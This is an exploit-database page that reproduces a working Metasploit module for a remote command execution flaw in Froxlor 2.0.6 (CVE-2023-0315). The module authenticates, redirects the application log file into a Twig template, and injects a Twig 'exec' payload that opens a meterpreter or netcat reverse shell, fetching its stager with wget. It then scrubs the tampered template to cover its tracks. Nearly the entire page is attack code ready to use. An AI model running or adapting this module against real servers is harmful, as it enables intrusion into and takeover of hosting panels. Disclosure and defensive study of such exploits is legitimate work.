Froxlor 2.0.6 Remote Command Execution

2023.02.24
Credit: Askar
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Froxlor Log Path RCE', 'Description' => %q{ Froxlor v2.0.6 and below suffer from a bug that allows authenticated users to change the application logs path to any directory on the OS level which the user www-data can write without restrictions from the backend which leads to writing a malicious Twig template that the application will render. That will lead to achieving a remote command execution under the user www-data. }, 'Author' => [ 'Askar', # discovery 'jheysel-r7' # module ], 'References' => [ [ 'URL', 'https://shells.systems/author/askar/'], [ 'CVE', '2023-0315'] ], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Privileged' => false, 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Linux ', { 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64], 'CmdStagerFlavor' => ['wget'], 'Type' => :linux_dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' } } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] }, 'DisclosureDate' => '2023-01-29' ) ) register_options( [ OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']), OptString.new('PASSWORD', [true, 'A specific password to authenticate with', '']), OptString.new('TARGETURI', [true, 'The base path to the vulnerable Froxlor instance', '/froxlor']), OptString.new('WEB_ROOT', [true, 'The webroot ', '/var/www/html']) ] ) end def login res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/index.php'), 'keep_cookies' => true, 'vars_post' => { 'loginname' => datastore['USERNAME'], 'password' => datastore['PASSWORD'], 'send' => 'send', 'dologin' => '' } ) if res && (res.code == 302 && res.headers.include?('Location') && res.headers['Location'] == 'admin_index.php') send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/admin_index.php'), 'keep_cookies' => true ) print_good('Successful login') true else false end end def check begin @authenticated = login rescue InvalidRequest, InvalidResponse => e return Exploit::CheckCode::Unknown("Failed to authenticate to Froxlor: #{e.class}, #{e}") end version_url = '/lib/ajax.php?action=updatecheck&theme=Froxlor' res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, version_url), 'keep_cookies' => true ) if res.nil? || res.code != 200 Exploit::CheckCode::Unknown("Failed to retrieve version info from #{normalize_uri(target_uri.path, version_url)}") else version = res.get_html_document.at('body/span/text()') if version if Rex::Version.new('2.0.6') >= Rex::Version.new(version) Exploit::CheckCode::Appears("Vulnerable version found: #{version}") end else Exploit::CheckCode::Detected("Failed to obtain Froxlor version info from #{normalize_uri(target_uri.path, version_url)}") end end end def get_csrf_token(url) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, url), 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, "Failed to get csrf token from #{normalize_uri(target_uri.path, url)}") unless (!res.nil? || res.code == 200) csrf_token = res.get_html_document.at('//input[@name="csrf_token"]/@value')&.text fail_with(Failure::UnexpectedReply, "No CSRF token found when querying #{normalize_uri(target_uri.path, url)}.") unless csrf_token print_good("CSRF token is : #{csrf_token}") csrf_token end def change_log_path(new_logfile) mime = Rex::MIME::Message.new mime.add_part('0', nil, nil, 'form-data; name="logger_enabled"') mime.add_part('1', nil, nil, 'form-data; name="logger_enabled"') mime.add_part('2', nil, nil, 'form-data; name="logger_severity"') mime.add_part('file', nil, nil, 'form-data; name="logger_logtypes[]"') mime.add_part(new_logfile, nil, nil, 'form-data; name="logger_logfile"') mime.add_part('0', nil, nil, 'form-data; name="logger_log_cron"') mime.add_part(@csrf_token, nil, nil, 'form-data; name="csrf_token"') mime.add_part('overview', nil, nil, 'form-data; name="page"') mime.add_part('', nil, nil, 'form-data; name="action"') mime.add_part('send', nil, nil, 'form-data; name="send"') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/admin_settings.php?'), 'vars_get' => { 'page' => 'overview', 'part' => 'logging' }, 'keep_cookies' => true, 'ctype' => "multipart/form-data; boundary=#{mime.bound}", 'data' => mime.to_s ) if res && res.code == 200 && res.body.include?('The settings have been successfully saved') return true end false end def execute_command(cmd, _opts = {}) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/admin_index.php'), 'keep_cookies' => true, 'vars_post' => { 'theme' => "{{['#{cmd}']|filter('exec')}}", 'csrf_token' => @csrf_token, 'page' => 'change_theme', 'send' => 'send', 'dosave' => '' } ) if res && res.code == 302 && res.headers['Location'] if res.headers['Location'] == 'admin_index.php' print_good('Injected payload successfully') print_status("Changing log path back to default value while triggering payload: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log") change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log") end else print_error('did not inject payload successfully') end end def exploit fail_with(Failure::NoAccess, 'Failed to login') unless @authenticated || login @csrf_token = get_csrf_token('/admin_settings.php?page=overview&part=logging') if change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig") print_good("Changed logfile path to: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig") case target['Type'] when :unix_memory execute_command(payload.encoded) when :linux_dropper execute_cmdstager else print_error('Please enter valid target') end else fail_with(Failure::UnexpectedReply, 'Failed to change the log path. The target might not be exploitable') end end def on_new_session(session) super # Original footer.html.twig file footer_html_twig = <<~EOF <footer class="text-center mb-3"> <span> <img src="{{ basehref|default("") }}templates/Froxlor/assets/img/logo_grey.png" alt="Froxlor"/> {% if install_mode is not defined %} {% if (get_setting('admin.show_version_login') == '1' and area == 'login') or (area != 'login' and get_setting('admin.show_version_footer') == '1') %} {{ call_static('\\Froxlor\\Froxlor', 'getFullVersion') }} {% endif %} {% endif %} &copy; 2009-{{ "now"|date("Y") }} by <a href="https://www.froxlor.org/" rel="external" target="_blank">the Froxlor Team</a><br> {% if install_mode is not defined %} {% if (get_setting('panel.imprint_url') != '') %}<a href="{{ get_setting('panel.imprint_url') }}" target="_blank" class="footer-link">{{ lng('imprint') }}</a>{% endif %} {% if (get_setting('panel.terms_url') != '') %}<a href="{{ get_setting('panel.terms_url') }}" target="_blank" class="footer-link">{{ lng('terms') }}</a>{% endif %} {% if (get_setting('panel.privacy_url') != '') %}<a href="{{ get_setting('panel.privacy_url') }}" target="_blank" class="footer-link">{{ lng('privacy') }}</a>{% endif %} {% endif %} </span> {% if lng('translator') %} <br/> <small class="mt-3">{{ lng('panel.translator') }}: {{ lng('translator') }}</small> {% endif %} </footer> EOF if session.type == 'meterpreter' print_status('Deleting tampered footer.html.twig file') filename = "#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig" session.fs.file.rm(filename) fd = session.fs.file.new(filename, 'wb') print_status('Rewriting clean footer.html.twig file') fd.write(footer_html_twig) fd.close else print_status('Cleaning tampered footer.html.twig file') # Remove all log lines added to footer.html.twig by the exploit # (all log lines start with an opening square bracket ex: [2023-02-16 09:08:28] froxlor.INFO: [API] ...) session.shell_command_token("sed '/^\\[/d' #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig > #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp") session.shell_command_token("mv -f #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig") session.shell_command_token("rm #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp") end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top